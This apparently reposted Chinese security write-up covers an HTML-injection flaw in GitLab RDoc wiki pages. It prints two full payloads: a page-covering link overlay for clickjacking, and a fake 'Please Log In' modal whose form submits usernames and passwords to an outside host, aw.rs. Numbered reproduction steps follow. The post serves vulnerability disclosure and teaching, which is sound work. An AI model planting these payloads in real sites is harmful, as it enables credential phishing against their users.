-
背景
-
复现步骤
gitlab漏洞系列-RDoc wiki页面中的存储型XSS
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
背景
当创建一个RDoc wiki页面时,可以使用大量的html标签和属性,这些标签和属性通常是经过过滤的,当创建一个可链接的图片格式为{<img src>}
例如,可以在创建图像链接时指定一个class属性:
{
<a href='https://aw.rs/users/signin' class='atwho-view select2-drop-mask pika-select'>
<img height=10000 width=10000></a>
}[a]
将产生以下内容:
<div class="md md-file">
<p>Full Page link</p>
<p><a href="a" rel="nofollow"></a><a href="https://aw.rs/users/signin" class="atwho-view select2-drop-mask pika-select" rel="nofollow"><img height="10000" width="10000"></a></p>
</div>
这将放置一个链接接管整个页面并拦截任何点击,atwhot -view select2-drop-mask pika-select
只是一些真正的类属性(class), 使链接的z-index值最大(注意:这个是css的知识,主要是使其处于最顶层)
目标属性也可以设置为_blank,由于没有rel="noopener",也可以使用反向选项卡。
另一种更可能奏效的攻击是在模式中创建一个表单,它可以用来提交用户名和密码:
a form
{
<div class="modal show d-block">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h3 class="page-title">Please Log In</h3>
</div>
<div class="modal-body">
<form class="new-wiki-page" action="http://aw.rs/">
<div class="form-group">
<label for="username"><span>Username</span></label>
<input type="text" name="username" id="username" class="form-control">
<label for="password"><span>Password</span></label>
<input type="password" name="password" id="password" class="form-control">
</div>
<div class="form-actions"><button name="button" type="submit" class="btn btn-success">Login</button></div>
</form>
</div>
</div>
</div>
</div>
}[/]
当查看页面时将产生以下效果:
复现步骤
1.在gitlab上面创建一个wiki;
2.使用上述代码片段添加一个新的RDoc页面;
3.保存并等待有人点击它
原文始发于微信公众号(迪哥讲事):gitlab漏洞系列-RDoc wiki页面中的存储型XSS
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论